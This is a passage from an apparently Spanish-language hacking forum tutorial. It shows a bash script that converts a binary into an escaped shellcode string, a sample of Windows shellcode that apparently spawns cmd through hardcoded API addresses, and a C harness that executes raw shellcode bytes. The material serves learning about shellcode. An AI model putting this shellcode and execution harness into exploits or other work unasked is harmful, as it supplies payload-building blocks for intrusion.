  2. if [ $# -ne 1 ]
  3. then
  4.    printf "\n\tUsage: $0 filename.bin\n\n"
  5.    exit
  6. fi
  7.  
  8. filename=`echo $1 | sed s/"\.bin$"//`
  9. rm -f $filename.shellcode
  10.  
  11. for i in `xxd -i $filename.bin | grep , | sed s/" "/" "/ | sed s/","/""/g | sed s/"0x"/"\\\\x"/g`
  12. do
  13.    echo -n "\\$i" >> $filename.shellcode
  14.    echo -n "\\$i"
  15. done
  16. echo

De esta forma::

$ xxd-shellcode.sh shc.bin

Devolvera esto:



y en shc.shellcode los opcodes
Código
  1. \xeb\x0e\xba\xad\x23\x86\x7c\xff\xd2\xba\xfa\xca\x81\x7c\xff\xd2\xe8\xed\xff\xff\xff\x63\x6d\x64

Ahora veamos la plantilla en C para probarla

--------------------------
Código
  1. char code[] = "[b]OPCODES[/b]";
  2.  
  3. int main()
  4. {
  5. int (*func)();
  6. func = (int (*)()) code;
  7. (int)(*func)();
  8. }
--------------------------

Asi que tendriamos en sch.c ...:

Código
  1. char code[] = "\xeb\x0e\xba\xad\x23\x86\x7c\xff\xd2\xba\xfa\xca\x81\x7c\xff\xd2\xe8\xed\xff\xff\xff\x63\x6d\x64\x00";
  2.  
  3. int main()
  4. {
  5. int (*func)();
  6. func = (int (*)()) code;
  7. (int)(*func)();
  8. }
  9.  

Compilamos ($ gcc -o shc shc.c) y probamos:





Saludos!
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines